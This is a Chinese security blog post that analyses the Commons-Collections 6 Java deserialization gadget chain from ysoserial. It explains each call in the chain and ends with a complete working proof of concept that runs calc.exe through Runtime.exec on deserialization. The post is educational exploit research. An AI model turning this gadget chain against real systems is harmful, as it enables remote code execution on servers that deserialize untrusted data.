Java反序列化Common-Collections6利用链分析

前言

上一篇分析了ysoserial中的CC1链,这篇主要分析CC6这条链。

分析之前,先来看看CC6这条链是如何诞生的呢?

我们都知道,在CC1这条链中,AnnotationInvocationHandler在执行反序列化时,触发的点是memberValues.entrySet()

image-20220809141256820

这是在JDK 8u70之前,我们来看看JDK 8u70之后的AnnotationInvocationHandler类,这里用的是JDK 8u301

image-20220809141559592

可以看到,已经将memberValues.entrySet()换成了其他的,在JDK 8u71更高版本中,就无法继续使用这种方式进行利用了。

那有没有一条不受JDK版本限制的链条呢?

答案肯定是有的,也就是即将准备分析的Common-Collections6利用链。

利用链分析

首先,还是先来看看ysoserialcc6利用链

image-20220809143025978

看起来 还是挺长一串的,但是可以看到,命令执行的方式依旧没变,还是使用了LazyMapget方法。前面的构造方式已经在《Java反序列化Common-Collections1利用链分析》中说过了,直接对后面的进行分析。

它使用了TiedMapEntrygetValue来触发LazyMapget方法。

image-20220809143716846

接下来看看哪里调用了getValue方法

image-20220809144113709

TiedMapEntryhashCode方法中调用了getValue方法。

image-20220809160208055

HashMaphash方法中找到调用hashCode

通过查找引用,可以直接在HashMapreadObject方法中找到

image-20220809160452453

但是ysoserial中并不是使用的HashMap,而是使用的HashSet,其实都是一样的,HashSetreadObject方法只不过是间接地调用了hashCode

HashSetreadObject

image-20220809160931792

put中还是调用了hash

image-20220809161033844

接下来对利用进行梳理,首先

AnnotationInvocationHandler->readObject AnnotationInvocationHandler->invoke LazyMap->get

跟CC1中的一致,原先的AnnotationInvocationHandler类换成了TiedMapEntrygetValue来触发,然后在TiedMapEntryhashCode调用了getValue,而后HashMapreadObject中直接调用了hash方法,最后hash方法中调用了hashCode方法。

HashSetreadObject中则是通过map.put方法间接调用了hash方法。

注意:这里还有一个细节问题,在创建TiedMapEntry对象的时候,我们需要传递一个map和一个key

image-20220809163724902

这里的map就为LazyMap的实例,而key,我们通常会随便传递一个。

image-20220809163928894

如果我们直接执行,是不会弹出计算器的,这是为什么呢?

打个断点,调试一下就知道了。

LazyMapget

image-20220809164413162

map.containsKey(key)是用来判断map中是否存在key这个值,如果不存在,会将key存放到map中,如果存在,就不会执行transform

为什么会在序列化之前执行到这个方法里面去呢?

因为需要通过HashSet来触发TiedMapEntryhashCode,所以我们要将TiedMapEntry通过add方法添加到HashSet中去, 那么在add方法中,也会调用put方法,所以也会间接调用到hash,提前触发命令执行。

image-20220809165644160

那么怎么避免呢?

其实很简单,只需要在序列化前,用map.remove(key)HashMap对象中的key移除就好了。

利用链构造

得到一条利用链

1
2
3
4
5
6
7
8
HashSet->readObject
HashMap->put
HashMap->hash
HashMap->hashCode
LazyMap->get
ChainedTransformer->transform
ConstantTransformer->transform
InvokerTransformer->transform
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class CC6Test1 {
public static void main(String[] args) throws Exception {
// 因为map.put方法会触发hash操作,会提前触发有害payload,所以先构造一个无害payload放入
Transformer[] transformers = new Transformer[]{new ConstantTransformer(1)};
// 反序列化真正执行的payload
Transformer[] fucktransformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
// 调用Runtime 的 getMethod方法 通过getMethod方法 找到 getRuntime 方法
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// 调用 getRuntime 返回 Runtime 对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 调用 Runtime 对象的 exec 方法 执行命令
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

// 将Transformer数组串联起来
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
// 通过HashMap.get方法触发transform
HashMap<Object, Object> map = new HashMap<>();
Map map1 = LazyMap.decorate(map, chainedTransformer);


TiedMapEntry tiedMapEntry = new TiedMapEntry(map1, 11);

HashSet<Object> hashSet = new HashSet<>();

hashSet.add(tiedMapEntry);
// 绕过 map.containsKey(key)
map.remove(11);

setFieldValue(chainedTransformer, "iTransformers", fucktransformers);

byte[] serialize = Serialize(hashSet);
UnSerialize(serialize);

}

// 通过反射设置类属性
public static void setFieldValue(Object obj1, String s1, Object obj2) throws Exception{
Class clazz = obj1.getClass();
Field field = clazz.getDeclaredField(s1);
field.setAccessible(true);
field.set(obj1, obj2);
}

public static byte[] Serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}

public static void UnSerialize(byte[] bytes) throws Exception{
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}

文章逻辑可能写得有点混乱,希望大佬们多多指教。